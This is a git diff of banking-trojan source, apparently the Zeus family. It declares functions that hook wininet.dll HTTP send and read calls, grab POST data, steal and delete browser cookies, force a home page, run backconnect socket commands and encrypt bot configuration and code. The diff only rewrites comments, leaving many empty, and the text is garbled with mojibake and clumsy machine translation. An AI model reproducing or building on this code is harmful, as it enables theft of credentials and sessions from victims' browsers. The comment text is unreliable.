CloseWindowStation), - или NULL в случаи ошибки. + Return - ( CloseWindowStation), + NULL . */ HWINSTA _openWindowStation(const LPWSTR name, ACCESS_MASK desiredAccess); /* - Установка текущей станции для процесс. + . - IN handle - станция для установки. + IN handle - . - Return - true - в случаи успеха, - false - в случаи ошибки. + Return - true - , + false - . */ bool _setProcessWindowStation(HWINSTA handle); /* - Открывает или создает десктоп. + . - IN name - имя декстопа или NULL для установки default. - IN desiredAccess - маска доступа. + IN name - NULL default. + IN desiredAccess - . - Return - хэндл десктоп (нужно закарыть через CloseDesktop), - или NULL в случаи ошибки. + Return - ( CloseDesktop), + NULL . */ HDESK _openDesktop(const LPWSTR name, ACCESS_MASK desiredAccess); /* - Переключение текшего потока на декстоп. + . - IN handle - дестоп на который следует переключиться. + IN handle - . - Return - true - в случаи успеха, - false - в случаи ошибки. + Return - true - , + false - . */ bool _setThreadDesktop(HDESK handle); - /*В В В В Switching streamed flow on desktops. + /*    Switching streamed flow on desktops. -В В В В IN stationName - station name, or NULL to install Winsta0. If the station does not suschetvuet, -В В В В В В В В В В В В В В В В В В В В В it will be created. -В В В В IN desktopName - the name of the desktops or NULL to set the default. If the desktops are not suschetvuet, -В В В В В В В В В В В В В В В В В В В В В it will be created. +    IN stationName - station name, or NULL to install Winsta0. If the station does not suschetvuet, +                     it will be created. +    IN desktopName - the name of the desktops or NULL to set the default. If the desktops are not suschetvuet, +                     it will be created. -В В В В Return - true - if successful, -В В В В В В В В В В В В В В В В В В В В В false - if an error occurs. -В В */ +    Return - true - if successful, +                     false - if an error occurs. +  */ bool _setThreadDesktopEx(const LPWSTR stationName, const LPWSTR desktopName); }; #endif diff --git a/source/client/wininethook.cpp b/source/client/wininethook.cpp index 7952b3a..593736b 100644 --- a/source/client/wininethook.cpp +++ b/source/client/wininethook.cpp @@ -25,7 +25,7 @@ #if(BO_WININET > 0) //////////////////////////////////////////////////// //////////////////////////////////////////////// -//В Connection table. +// Connection table. //////////////////////////////////////////////////// //////////////////////////////////////////////// typedef struct @@ -50,11 +50,11 @@ static DWORD connectionsCount; static CRITICAL_SECTION connectionsCs; /* - Поиск соединенения в таблице. + . - IN handle - хэндл. + IN handle - . - Return - индекс соединения в таблице, или (DWORD)-1 если не найдено. + Return - , (DWORD)-1 . */ static DWORD connectionFind(HINTERNET handle) { @@ -63,11 +63,11 @@ static DWORD connectionFind(HINTERNET handle) } /* - Добавление соединения в таблицу. + . - IN handle - хэндл. + IN handle - . - Return - индекс соединения в таблице, или (DWORD)-1 если не найдено. + Return - , (DWORD)-1 . */ static DWORD connectionAdd(HINTERNET handle) { @@ -108,11 +108,11 @@ static DWORD connectionAdd(HINTERNET handle) } /* - Поиск соединенения в таблице, и его добавление в случаи отсутвия. + , . - IN handle - хэндл. + IN handle - . - Return - индекс соединения в таблице, или (DWORD)-1 если не найдено. + Return - , (DWORD)-1 . */ static DWORD connectionFindEx(HINTERNET handle) { @@ -122,9 +122,9 @@ static DWORD connectionFindEx(HINTERNET handle) } /* - Удаление соединения из таблицы. + . - IN index - индекс соединения. + IN index - . */ static void connectionRemove(DWORD index) { @@ -221,7 +221,7 @@ void WininetHook::uninit(void) } //////////////////////////////////////////////////// //////////////////////////////////////////////// -//В Getting the cookies. +// Getting the cookies. //////////////////////////////////////////////////// //////////////////////////////////////////////// enum @@ -234,11 +234,11 @@ enum #define WININETCOOKIE_BUFFER_SIZE (sizeof(INTERNET_CACHE_ENTRY_INFOW) + INTERNET_MAX_URL_LENGTH * sizeof(WCHAR) + MAX_PATH * sizeof(WCHAR)) /* - Чтение кука Wininet из файла. + Wininet . - IN fileName - имя файла. + IN fileName - . - Return - данные кука(удалит через Mem), или NULL - в случаи ошибки. + Return - ( Mem), NULL - . */ static LPSTR __inline parseWininetCookies(LPWSTR fileName) { @@ -306,7 +306,7 @@ typedef struct }WININETCOOKIESPROCFINDDATA; /* - Кэлбэк Fs::_findFiles(). + Fs::_findFiles(). */ static bool wininetCookiesFindProc(const LPWSTR path, const WIN32_FIND_DATAW *fileInfo, void *data) { @@ -339,11 +339,11 @@ static bool wininetCookiesFindProc(const LPWSTR path, const WIN32_FIND_DATAW *fi } /* - Обработка куков Wininet. + Wininet. - IN flags - флаги COOKIESFLAG_*. - OUT list - полный список куков. - OUT listSize - размер списка куков. + IN flags - COOKIESFLAG_*. + OUT list - . + OUT listSize - . */ static void wininetCookiesProc(DWORD flags, LPSTR *list, LPDWORD listSize) { @@ -400,14 +400,14 @@ void WininetHook::_removeCookies(void) } //////////////////////////////////////////////////// //////////////////////////////////////////////// -//В Inject. +// Inject. //////////////////////////////////////////////////// //////////////////////////////////////////////// /* - Установка хука на InternetStatusCallback для хэндла и его родителей. + InternetStatusCallback . IN handle - HINTERNET. - IN hooker - функция-перехватчик с прототипом InternetStatusCallbacks. + IN hooker - - InternetStatusCallbacks. */ static void hookInternetStatusCallbacks(HINTERNET handle, void *hooker) { @@ -436,7 +436,7 @@ static void hookInternetStatusCallbacks(HINTERNET handle, void *hooker) #define READCONTEXT_BUFFER_SIZE 4096 //Read buffer for readAllContext (). /* - Кэллбэк для readAllContext(). + readAllContext(). */ static void CALLBACK readAllContextCallback(HINTERNET internet, DWORD_PTR context, DWORD internetStatus, LPVOID statusInformation, DWORD statusInformationLength) { @@ -456,15 +456,15 @@ static void CALLBACK readAllContextCallback(HINTERNET internet, DWORD_PTR contex } /* - Чтение всего контекста в буфер. + . - IN request - запрос. - IN readEvent - событие ассоциированое с соединением. - OUT context - буфер. - OUT contentSize - размер буфера. + IN request - . + IN readEvent - . + OUT context - . + OUT contentSize - . - Retrun - true - в случаи успеха, - false - в случаи ошибки. + Retrun - true - , + false - . */ static bool readAllContext(HINTERNET request, HANDLE readEvent, LPBYTE *context, LPDWORD contentSize) { @@ -508,9 +508,9 @@ static bool readAllContext(HINTERNET request, HANDLE readEvent, LPBYTE *context, if(CWA(kernel32, GetLastError)() == ERROR_IO_PENDING) { /* - Вообщем это место является больным, т.к. в этот преуд программа этажом выше просто - сбивает нашу readAllContextCallback(). И мы не когда не получем сигнал от события. - Нужно найти способ избваиться от InternetSetStatusCallback(). + , .. + readAllContextCallback(). . + InternetSetStatusCallback(). */ Sync::_waitForMultipleObjectsAndDispatchMessages(1, &readEvent, false, INFINITE); continue; @@ -547,15 +547,15 @@ static bool readAllContext(HINTERNET request, HANDLE readEvent, LPBYTE *context, } /* - Операции производимые в момент чтения HTTP-ответа. + HTTP-. - IN OUT request - хэндл запроса. - OUT buffer - буфер для считаных данных. NULL - для возврата достпуного размера. - IN numberOfBytesToRead - размер буфера. - OUT numberOfBytesRead - кол. прочитаных байт. + IN OUT request - . + OUT buffer - . NULL - . + IN numberOfBytesToRead - . + OUT numberOfBytesRead - . . - Return - (-1) - вызвать стандартную функцию чтения. - В другом случаи, вернуть вместо вызова стандартной функции, это значение. + Return - (-1) - . + , , . */ static int onInternetReadFile(HINTERNET *request, void *buffer, DWORD numberOfBytesToRead, LPDWORD numberOfBytesRead) { @@ -669,19 +669,19 @@ static int onInternetReadFile(HINTERNET *request, void *buffer, DWORD numberOfBy } //////////////////////////////////////////////////// //////////////////////////////////////////////// -//В Grabber. +// Grabber. //////////////////////////////////////////////////// //////////////////////////////////////////////// /* - Заполнение HttpGrabber::REQUESTDATA. + HttpGrabber::REQUESTDATA. - OUT requestData - структура. - IN request - хэндл текущего запроса. - IN postData - POST-данные. - IN postDataSize - размер POST-данных. + OUT requestData - . + IN request - . + IN postData - POST-. + IN postDataSize - POST-. - Return - true - в случуи успеха, - false - в случаи ошибки. + Return - true - , + false - . */ static bool fillRequestData(HttpGrabber::REQUESTDATA *requestData, HINTERNET request, const void *postData, DWORD postDataSize) { @@ -759,14 +759,14 @@ static bool fillRequestData(HttpGrabber::REQUESTDATA *requestData, HINTERNET req } /* - Операции производимые в момент отправки HTTP-запроса. + HTTP-. - IN request - запрос. - IN OUT postData - POST-данные. - IN OUT postDataSize - размер postData. + IN request - . + IN OUT postData - POST-. + IN OUT postDataSize - postData. - Return - (-1) - вызвать стандартную функцию отсылки запроса. - В другом случаи, вернуть вместо вызова стандартной функции, это значение. + Return - (-1) - . + , , . */ static int onHttpSendRequest(HINTERNET request, void **postData, LPDWORD postDataSize) { diff --git a/source/client/wininethook.h b/source/client/wininethook.h index d2efe2b..59d8fe8 100644 --- a/source/client/wininethook.h +++ b/source/client/wininethook.h @@ -1,5 +1,5 @@ /* - Перехват wininet.dll + wininet.dll */ #pragma once @@ -7,69 +7,69 @@ namespace WininetHook { /* - Инициализация. + . - IN homePage - принудительная установка домашней страницы, если NULL или [0]=0, то не применяется. + IN homePage - , NULL [0]=0, . */ void init(const LPWSTR homePage); /* - Деинициализация. + . */ void uninit(void); /* - Получение куков Wininet. + Wininet. */ void _getCookies(void); /* - Удаление куков Wininet. + Wininet. */ void _removeCookies(void); /* - Перехватчик HttpSendRequestW. + HttpSendRequestW. */ BOOL WINAPI hookerHttpSendRequestW(HINTERNET request, LPWSTR headers, DWORD headersLength, LPVOID optional, DWORD optionalLength); /* - Перехватчик HttpSendRequestA. + HttpSendRequestA. */ BOOL WINAPI hookerHttpSendRequestA(HINTERNET request, LPSTR headers, DWORD headersLength, LPVOID optional, DWORD optionalLength); /* - Перехватчик HttpSendRequestExW. + HttpSendRequestExW. */ BOOL WINAPI hookerHttpSendRequestExW(HINTERNET request, LPINTERNET_BUFFERSW buffersIn, LPINTERNET_BUFFERSW buffersOut, DWORD flags, DWORD_PTR context); /* - Перехватчик HttpSendRequestExA. + HttpSendRequestExA. */ BOOL WINAPI hookerHttpSendRequestExA(HINTERNET request, LPINTERNET_BUFFERSA buffersIn, LPINTERNET_BUFFERSA buffersOut, DWORD flags, DWORD_PTR context); /* - Перехватчик InternetCloseHandle. + InternetCloseHandle. */ BOOL WINAPI hookerInternetCloseHandle(HINTERNET handle); /* - Перехватчик InternetReadFile. + InternetReadFile. */ BOOL WINAPI hookerInternetReadFile(HINTERNET handle, LPVOID buffer, DWORD numberOfBytesToRead, LPDWORD numberOfBytesReaded); /* - Перехватчик InternetReadFileExA. Также вызывается от InternetReadFileExW + InternetReadFileExA. InternetReadFileExW */ BOOL WINAPI hookerInternetReadFileExA(HINTERNET handle, LPINTERNET_BUFFERSA buffersOut, DWORD flags, DWORD_PTR context); /* - Перехватчик InternetQueryDataAvailable. + InternetQueryDataAvailable. */ BOOL WINAPI hookerInternetQueryDataAvailable(HINTERNET handle, LPDWORD numberOfBytesAvailable, DWORD flags, DWORD_PTR context); - /*В В В В Interceptor HttpQueryInfoA. Also called on HttpQueryInfoW. -В В */ + /*    Interceptor HttpQueryInfoA. Also called on HttpQueryInfoW. +  */ BOOL WINAPI hookerHttpQueryInfoA(HINTERNET request, DWORD infoLevel, LPVOID buffer, LPDWORD bufferLength, LPDWORD index); }; #endif diff --git a/source/common/backconnect.h b/source/common/backconnect.h index 5268a99..7704fc4 100644 --- a/source/common/backconnect.h +++ b/source/common/backconnect.h @@ -1,5 +1,5 @@ /* - Инструменты для Backconnect. + Backconnect. */ #pragma once @@ -36,37 +36,37 @@ namespace Backconnect #pragma pack(pop) /* - Инициализация. + . */ void init(void); /* - Деинициализация. + . */ void uninit(void); /* - Чтение команды из сокета. + . - IN s - сокет. - OUT command - структура для заполнения. - OUT data - буфер для данных, или NULL если данные не требуются. Буфер должен быть освобожден - через Mem. + IN s - . + OUT command - . + OUT data - , NULL . + Mem. - Return - true - в случаи успешного чтения команды. - false - в случаи оишбки. + Return - true - . + false - . */ bool _readCommand(SOCKET s, COMMAND *command, LPBYTE *data); - /*В В В В Sending commands to a socket. + /*    Sending commands to a socket. -В В В В IN s - socket. -В В В В IN command - the command BCC_ *. -В В В В IN data - data. -В В В В IN dataSize - the size of the data. +    IN s - socket. +    IN command - the command BCC_ *. +    IN data - data. +    IN dataSize - the size of the data. -В В В В Return - true - if successful, -В В В В В В В В В В В В В В В В В В false - if an error occurs. -В В */ +    Return - true - if successful, +                  false - if an error occurs. +  */ bool _writeCommand(SOCKET s, BYTE command, const void *data, WORD dataSize); }; diff --git a/source/common/baseoverlay.h b/source/common/baseoverlay.h index 170ec33..5e91c3e 100644 --- a/source/common/baseoverlay.h +++ b/source/common/baseoverlay.h @@ -1,5 +1,5 @@ /* - Базовый оверлей для бота, и функции связаные с ним. + , . */ #pragma once @@ -12,68 +12,68 @@ namespace BaseOverlay }; /* - Инициализация. + . */ void init(void); /* - Деинициализация. + . */ void uninit(void); /* - Загрузка оверлея. + . - OUT buffer - буфер для данных оверлея. Должен быть размером не менее + OUT buffer - . FULL_SIZE_OF_OVERLAY. - IN overlay - адрес зашифрованого оверлея. - IN OUT overlaySize - на входе - размер overlay. На вызходе - размер данных оверлея. - IN rc4Key - ключ шифрования. Может быть NULL. + IN overlay - . + IN OUT overlaySize - - overlay. - . + IN rc4Key - . NULL. - Return - true - в случаи успеха, - false - в случаи ошибки. + Return - true - , + false - . */ bool _loadOverlay(void *buffer, const void *overlay, LPDWORD overlaySize, const Crypt::RC4KEY *rc4Key); /* - Создание оверлея. + . - OUT overlay - адрес по которому будет записан оверлей. - IN data - данные оверлея. - IN dataSize - размер данных оверлея. - IN rc4Key - ключ шифрования. Может быть NULL. + OUT overlay - . + IN data - . + IN dataSize - . + IN rc4Key - . NULL. - Return - true - в случаи успеха, - false - в случаи ошибки. + Return - true - , + false - . */ bool _createOverlay(void *overlay, const void *data, WORD dataSize, const Crypt::RC4KEY *rc4Key); /* - Получение адреса оверлея. + . - IN mem - данные, в которых будет произхводиться. - IN size - размер mem. - IN rc4Key - ключ шифрования. Может быть NULL. + IN mem - , . + IN size - mem. + IN rc4Key - . NULL. - Return - адрес оверлея, или NULL - в случаи ошибки. + Return - , NULL - . */ void *_getAddress(const void *mem, DWORD size, const Crypt::RC4KEY *rc4Key); /* - Дешифрование опкодов функции. + . - IN OUT curOpcode - первый криптованный опкод. - IN size - полное кол. криптованнызх байт. - IN key - ключ. + IN OUT curOpcode - . + IN size - . . + IN key - . */ void _decryptFunction(LPBYTE curOpcode, DWORD size, DWORD key); - /*В В В В Encryption opcodes up to the first meeting of RET. + /*    Encryption opcodes up to the first meeting of RET. -В В В В IN OUT curOpcode - a starting point. -В В В В IN key - the key. +    IN OUT curOpcode - a starting point. +    IN key - the key. -В В В В Return - zakriptovan number of bytes. -В В */ +    Return - zakriptovan number of bytes. +  */ DWORD _encryptFunction(LPBYTE curOpcode, DWORD key); }; diff --git a/source/common/binstorage.cpp b/source/common/binstorage.cpp index 1936939..ebfda3c 100644 --- a/source/common/binstorage.cpp +++ b/source/common/binstorage.cpp @@ -40,7 +40,7 @@ BinStorage::STORAGE *BinStorage::_createEmpty(void) bool BinStorage::_addItem(STORAGE **binStorage, DWORD id, DWORD flags, void *data, DWORD dataSize) { DWORD newStorageSize = (*binStorage)->size + sizeof(ITEM) + dataSize; - if(newStorageSize > (*binStorage)->size /*РЅРµ пошло ли РїРѕ РєСЂСѓРіСѓ*/ && id > 0 && Mem::reallocEx(binStorage, newStorageSize)) + if(newStorageSize > (*binStorage)->size /* */ && id > 0 && Mem::reallocEx(binStorage, newStorageSize)) { STORAGE *p = *binStorage; ITEM *item = (ITEM *)(((LPBYTE)p) + p->size); @@ -232,9 +232,9 @@ DWORD BinStorage::_pack(STORAGE **binStorage, DWORD flags, Crypt::RC4KEY *rc4Key ITEM *curItem = NULL; /* - Приминение флагов ITEMF_COMBINE_*. + ITEMF_COMBINE_*. - FIXME: Разработать оптимизацию даже РїСЂРё !(dwFlags & PACKF_FINAL_MODE). + FIXME: !(dwFlags & PACKF_FINAL_MODE). */ if(flags & PACKF_FINAL_MODE)while((curItem = _getNextItem(oldStorage, curItem)))if(curItem->id > 0) { diff --git a/source/common/binstorage.h b/source/common/binstorage.h index fc9d4de..3d68978 100644 --- a/source/common/binstorage.h +++ b/source/common/binstorage.h @@ -1,7 +1,7 @@ /* - Работа с бинарным хранилищем. + . - Примичание: Совпадение ID опции дает wID1 == wID2 и ITEMF_IS_* == ITEMF_IS_*. + : ID wID1 == wID2 ITEMF_IS_* == ITEMF_IS_*. */ #pragma once @@ -74,279 +74,279 @@ namespace BinStorage }; /* - Инициализация. + . */ void init(void); /* - Деинициализация. + . */ void uninit(void); /* - Проверяет хэш хранилища. + . - IN binStorage - хранилище + IN binStorage - - Return - true - в случаи совпадения хэша, - false - в случаи ошибки. + Return - true - , + false - . */ bool _checkHash(STORAGE *binStorage); /* - Создание пустого хранилища. + . - Return - хранилище (должен быть закрыт через Mem), - или NULL в случаи ошибки. + Return - ( Mem), + NULL . */ STORAGE *_createEmpty(void); /* - Добавление элемента в хранилище. + . - IN OUT binStorage - хранилище. - IN id - ID новой опции. - IN flags - флаги ITEMF_*. - IN data - данные опции. - IN dataSize - размер данных. + IN OUT binStorage - . + IN id - ID . + IN flags - ITEMF_*. + IN data - . + IN dataSize - . - Return - true, в случаи успешного добавления, - false, в случаи ошибки. + Return - true, , + false, . - Примичание: Наличие опции до добавление не проверяется. + : . */ bool _addItem(STORAGE **binStorage, DWORD id, DWORD flags, void *data, DWORD dataSize); /* - Добавление Unicode-строки в хранилище как UTF-8 строки. + Unicode- UTF-8 . - IN OUT binStorage - хранилище. - IN id - ID новой опции. - IN flags - флаги ITEMF_*. - IN string - строка для добавления. + IN OUT binStorage - . + IN id - ID . + IN flags - ITEMF_*. + IN string - . - Return - true, в случаи успешного добавления, - false, в случаи ошибки. + Return - true, , + false, . */ bool _addItemAsUtf8StringW(STORAGE **binStorage, DWORD id, DWORD flags, LPWSTR string); /* - Добавление ANSI-строки в хранилище как UTF-8 строки. + ANSI- UTF-8 . - IN OUT binStorage - хранилище. - IN id - ID нового элемента. - IN flags - флаги ITEMF_*. - IN string - строка для добавления. + IN OUT binStorage - . + IN id - ID . + IN flags - ITEMF_*. + IN string - . - Return - true, в случаи успешного добавления, - false, в случаи ошибки. + Return - true, , + false, . */ bool _addItemAsUtf8StringA(STORAGE **binStorage, DWORD id, DWORD flags, LPSTR string); /* - Модификация элемента. + . - IN OUT binStorage - хранилище. - IN item - элемент для модификации (после модификации заданый адрес может быть не - действтелен). - IN flags - флаги ITEMF_*. - IN data - данные опции. - IN dataSize - размер данных. + IN OUT binStorage - . + IN item - ( + ). + IN flags - ITEMF_*. + IN data - . + IN dataSize - . - Return - true, в случаи успешного добавления, - false, в случаи ошибки. + Return - true, , + false, . */ bool _modifyItem(STORAGE **binStorage, ITEM *item, DWORD flags, void *data, DWORD dataSize); /* - Модификация элемента. + . - IN OUT binStorage - хранилище. - IN id - элемент для модификации. - IN flags - флаги ITEMF_*. - IN data - данные опции. - IN dataSize - размер данных. + IN OUT binStorage - . + IN id - . + IN flags - ITEMF_*. + IN data - . + IN dataSize - . - Return - true, в случаи успешного добавления, - false, в случаи ошибки. + Return - true, , + false, . */ bool _modifyItemById(STORAGE **binStorage, DWORD id, DWORD flags, void *data, DWORD dataSize); /* - Получение следующего элемента из хранилищя. + . - IN binStorage - хранилище. - IN curItem - текущий элемент, или NULL для получения первого элемента. + IN binStorage - . + IN curItem - , NULL . - Return - следующий элемент относительно curItem, или NULL если элементов больше не найдено. + Return - curItem, NULL . */ ITEM *_getNextItem(const STORAGE *binStorage, ITEM *curItem); /* - Получение элемента из хранилищя. + . - IN binStorage - хранилище. - IN id - ID элемента. - IN isFlag - один из флагов ITEMF_IS_* для определения типа элемента. + IN binStorage - . + IN id - ID . + IN isFlag - ITEMF_IS_* . - Return - найденый элемент, или NULL если элемент не найден. + Return - , NULL . */ ITEM *_getItem(const STORAGE *binStorage, DWORD id, DWORD isFlag); /* - Получение содержимого элемента из хранилищя. + . - IN pi - элемента. + IN pi - . - Return - данные элемента(должны быть освобождены через Mem), или NULL если данных нет. + Return - ( Mem), NULL . - Примечание: для выделяемых данных в конец всегда добавляется дополнительный нулевой WCHAR-символ, - что позволяет безопасно работать со строками. + : WCHAR-, + . */ void *_getItemData(const ITEM *item); /* - Получение содержимого элемента из хранилища. Оболочка для _GetItem и _GetItemData. + . _GetItem _GetItemData. - IN binStorage - хранилище. - IN id - ID элемента. - IN isFlag - один из флагов ITEMF_IS_* для определения типа элемента. - OUT size - размер данных. Может быть NULL. + IN binStorage - . + IN id - ID . + IN isFlag - ITEMF_IS_* . + OUT size - . NULL. - Return - данные элемента(должны быть освобождены через Mem), или NULL если данных нет. + Return - ( Mem), NULL . */ void *_getItemDataEx(const STORAGE *binStorage, DWORD id, DWORD isFlag, LPDWORD size); /* - Получение содержимого элемента из хранилища как DWORD. + DWORD. - IN binStorage - хранилище. - IN id - ID элемента. - IN isFlag - один из флагов ITEMF_IS_* для определения типа элемента. - OUT data - данные. Может быть NULL, если значение не нужно. + IN binStorage - . + IN id - ID . + IN isFlag - ITEMF_IS_* . + OUT data - . NULL, . - Return - true - в случаи успеха, - false - в случаи ошибки. + Return - true - , + false - . */ bool _getItemDataAsDword(const STORAGE *binStorage, DWORD id, DWORD isFlag, LPDWORD data); /* - Упаковка хранилища. + . - IN OUT binStorage - на входе хранилище для обработки, на выходе обработаное хранилище, - которое уже не пригодно для использования. Для повторного использования - нужно вызывать _unpack(). - IN flags - режим финализации, используется для сборки конечного хранилища, приминяет - флаги PACKF_*. - IN rc4Key - ключ шифрования или NULL если шифрование не нужно. Ключ не изменяется. + IN OUT binStorage - , , + . + _unpack(). + IN flags - , , + PACKF_*. + IN rc4Key - NULL . . - Return - размер хранилища, или 0 в случаи ошибки. + Return - , 0 . */ DWORD _pack(STORAGE **binStorage, DWORD flags, Crypt::RC4KEY *rc4Key); DWORD _pack2(STORAGE **binStorage, DWORD flags, Crypt::RC4KEY *rc4Key); /* - Распаковка конфигурации. + . - OUT binStorage - хранилище. Должно быть освобождена через Mem. Если binStorage == NULL, то - распаковка происходит внутри data. - IN OUT data - данные которые являются упакованым хранилищеи. Если binStorage == NULL, то - распаковка происходит внутри data. - IN dataSize - размер data. - IN rc4Key - ключ шифрования или NULL если шифрование не нужно. + OUT binStorage - . Mem. binStorage == NULL, + data. + IN OUT data - . binStorage == NULL, + data. + IN dataSize - data. + IN rc4Key - NULL . - Return - размер хранилища, или 0 в случаи ошибки, также *binStorage будет равен NULL. + Return - , 0 , *binStorage NULL. */ DWORD _unpack(STORAGE **binStorage, void *data, DWORD dataSize, Crypt::RC4KEY *rc4Key); /* - Распаковка хранилища из файла. + . - OUT binStorage - хранилище. Должно быть освобождена через Mem. - IN fileName - файл хранилища. - IN rc4Key - ключ шифрования или NULL если шифрование не нужно. + OUT binStorage - . Mem. + IN fileName - . + IN rc4Key - NULL . - Return - размер хранилища, или 0 в случаи ошибки, также *binStorage будет равен NULL. + Return - , 0 , *binStorage NULL. */ DWORD _unpackFromFile(STORAGE **binStorage, LPWSTR fileName, Crypt::RC4KEY *rc4Key); /* - Объеденяет два хранилища в одно новое. Входные хранилища должны быть корректными. + . . - IN binStorage1 - первое хранилище. - IN binStorage2 - второе хранилище. + IN binStorage1 - . + IN binStorage2 - . - Return - новое хранилище, или NULL в случаи ошибки. + Return - , NULL . */ STORAGE *_combine(STORAGE *binStorage1, STORAGE *binStorage2); /* - Открытие/создание файла массива. При открытии файла, проверяется его корректность, - и по возможности исправлются ошибки (при этом часть данных может быть утерена). + / . , , + ( ). - IN fileName - имя файла. - IN flags - флаги OSF_. - IN OUT storageArray - данные об массиве. На входе должно быть заполенено как в описании. + IN fileName - . + IN flags - OSF_. + IN OUT storageArray - . . - Return - true - в случаи успешного открытия файла, - false - в случаи ошибки открытия или критической ошибки в файле( - storage->file будет равен INVALID_HANDLE_VALUE). + Return - true - , + false - ( + storage->file INVALID_HANDLE_VALUE). - Примечание: В случаи возврата false: flags & OSF_WRITE_ACCESS и - GetLastError() != ERROR_ACCESS_DEFINED рекомендуеся удалять файл, в противном случаи - попробывать исправить ошибки отркыв файл через OSF_WRITE_ACCESS. + : false: flags & OSF_WRITE_ACCESS + GetLastError() != ERROR_ACCESS_DEFINED , + OSF_WRITE_ACCESS. */ bool _openStorageArray(LPWSTR fileName, DWORD flags, STORAGEARRAY *storageArray); /* - Закрывает массив. + . - IN OUT storageArray - массив. + IN OUT storageArray - . - Примечание: На выходе storageArray->file будет равен INVALID_HANDLE_VALUE. + : storageArray->file INVALID_HANDLE_VALUE. */ void _closeStorageArray(STORAGEARRAY *storageArray); /* - Добавление хранилища в конец массива. + . - IN storageArray - массив. - IN binStorage - зашифрованное хранилище. - IN size - размер хранилища. + IN storageArray - . + IN binStorage - . + IN size - . - Return - true - в случаи успеха, - false - в случаи ошибки. + Return - true - , + false - . */ bool _addToStorageArray(STORAGEARRAY *storageArray, STORAGE *binStorage, DWORD size); /* - Сбрасывает указатель массива следующиего хранилища на нулевой. + . - IN storageArray - массив. + IN storageArray - . */ void _resetStorageArrayPointer(STORAGEARRAY *storageArray); /* - Получает следующие хранилище в массиве. Функция вызывает _unpack для проверки и - расшифровывания хранилища. + . _unpack + . - IN storageArray - массив. - OUT binStorage - хранилище. Должно быть освобождена через Mem. - OUT size - размер хранилищя. - IN rc4Key - ключ шифрования или NULL. + IN storageArray - . + OUT binStorage - . Mem. + OUT size - . + IN rc4Key - NULL. - Return - true - в случаи успеха, если *size - то достигнут конец файла, - false - в случаи ошибки. + Return - true - , *size - , + false - . */ bool _getNextFromStorageArray(STORAGEARRAY *storageArray, STORAGE **binStorage, LPDWORD size, Crypt::RC4KEY *rc4Key); - /*В В В В Removes the current repository of the array. -В В В В  -В В В В IN storageArray - array. -В В В В  -В В В В Return - true - if successful, -В В В В В В В В В В В В В В В В В В В В В В false - if an error occurs. -В В */ + /*    Removes the current repository of the array. +     +    IN storageArray - array. +     +    Return - true - if successful, +                      false - if an error occurs. +  */ bool _removeCurrentFromStorageArray(STORAGEARRAY *storageArray); }; diff --git a/source/common/botstatus.h b/source/common/botstatus.h index d6735af..475c20c 100644 --- a/source/common/botstatus.h +++ b/source/common/botstatus.h @@ -1,4 +1,4 @@ -/*В В Structure for information on the established paper.*/ +/*  Structure for information on the established paper.*/ #pragma once #include "malwaretools.h" diff --git a/source/common/comlibrary.h b/source/common/comlibrary.h index 02f1805..4627806 100644 --- a/source/common/comlibrary.h +++ b/source/common/comlibrary.h @@ -1,45 +1,45 @@ /* - Работа с COM. + COM. */ #pragma once namespace ComLibrary { /* - Инициализация. + . */ void init(void); /* - Деинициализация. + . */ void uninit(void); /* - Инициализация библиотеки для потока. + . - OUT result - результат инициализации, не можут быть NULL. Должен быть передан в парную + OUT result - , NULL. _uninitThread(). - Return - true - в случаи успеха, - false - в случаи ошибки. + Return - true - , + false - . */ bool _initThread(HRESULT *result); /* - Деинициализация библиотеки для потока. Функцию можно вызывать (необязательно) даже в случаи - ошибки _initThread(), но с верным значением initResult. + . () + _initThread(), initResult. - IN result - результат инициализации от _initThread(). + IN result - _initThread(). */ void _uninitThread(HRESULT initResult); - /*В В В В Creating an interface add-on CoCreateInstance. + /*    Creating an interface add-on CoCreateInstance. -В В В В IN clsid - CLSID. -В В В В IN iid - IID. +    IN clsid - CLSID. +    IN iid - IID. -В В В В Return - the interface pointer, or NULL - otherwise. -В В */ +    Return - the interface pointer, or NULL - otherwise. +  */ void *_createInterface(REFCLSID clsid, REFIID iid); }; diff --git a/source/common/common.vcxproj b/source/common/common.vcxproj index 953c85d..3958111 100644 --- a/source/common/common.vcxproj +++ b/source/common/common.vcxproj @@ -1,4 +1,4 @@ -п»ї + diff --git a/source/common/common.vcxproj.user b/source/common/common.vcxproj.user index 7070522..695b5c7 100644 --- a/source/common/common.vcxproj.user +++ b/source/common/common.vcxproj.user @@ -1,3 +1,3 @@ -п»ї + \ No newline at end of file diff --git a/source/common/config0.h b/source/common/config0.h index 55b128d..e9fbcd5 100644 --- a/source/common/config0.h +++ b/source/common/config0.h @@ -1,8 +1,8 @@ #pragma once /* - Старый формат файла конигурации, был внесен в xlib по причини более удобной моральной адоптации. + , xlib . - Примечание: По уничтожению zeus_old, уничтожить этот формат. + : zeus_old, . */ #define CONFIG0_MAX_ARGS 200 @@ -29,62 +29,62 @@ namespace Config0 }CFGDATA; /* - Инициализация. + . */ void Init(void); /* - Деинициализация. + . */ void Uninit(void); /* - Парсинг файла. + . - IN pszFileName - файл для парсинга. - OUT pCD - результат, должен быть освобожден через _Close + IN pszFileName - . + OUT pCD - , _Close - Return - true - в случаи успеха, - false - в случаи ошибки. + Return - true - , + false - . */ bool _ParseFile(LPWSTR pszFileName, CFGDATA *pCD); /* - Освобождение CFGDATA. + CFGDATA. - IN pCD - CFGDATA для освобождения. + IN pCD - CFGDATA . */ void _Close(CFGDATA *pCD); /* - Освобождение переменной. + . - IN pVar - переменная для освобождения. + IN pVar - . */ void _FreeVar(VAR *pVar); /* - Добавление переменной в список. + . - IN pvParent - родительская переменная, может быть NULL если добавление происходит в корень. - IN pCD - CFGDATA, может быть NULL если pvParent != NULL. - IN pValues - список аргументов для добавления. Массив не копируеся, просто сохраняется - этот указатель. - IN bValuesCount - количество аргументов. + IN pvParent - , NULL . + IN pCD - CFGDATA, NULL pvParent != NULL. + IN pValues - . , + . + IN bValuesCount - . - Return - указатель на новую переменную, или NULL в случаи ошибки. + Return - , NULL . */ VAR *_AddVar(VAR *pvParent, CFGDATA *pCD, LPSTR *pValues, BYTE bValuesCount); - /*В В В В Getting a variable from the list. + /*    Getting a variable from the list. -В В В В IN pvParent - parent variable may be NULL if the search is at the root. -В В В В IN pCD - CFGDATA, may be NULL if pvParent! = NULL. -В В В В IN pstrName - variable name may be NULL if ishetsya occurrence. -В В В В IN pstrValue - an additional condition if pstrName! = NULL, and the name of the entry if -В В В В В В В В В В В В В В В В В В В В В В pstrName == NULL. -В В В В  -В В В В Return - a pointer to a variable, or NULL if an error occurs. -В В */ +    IN pvParent - parent variable may be 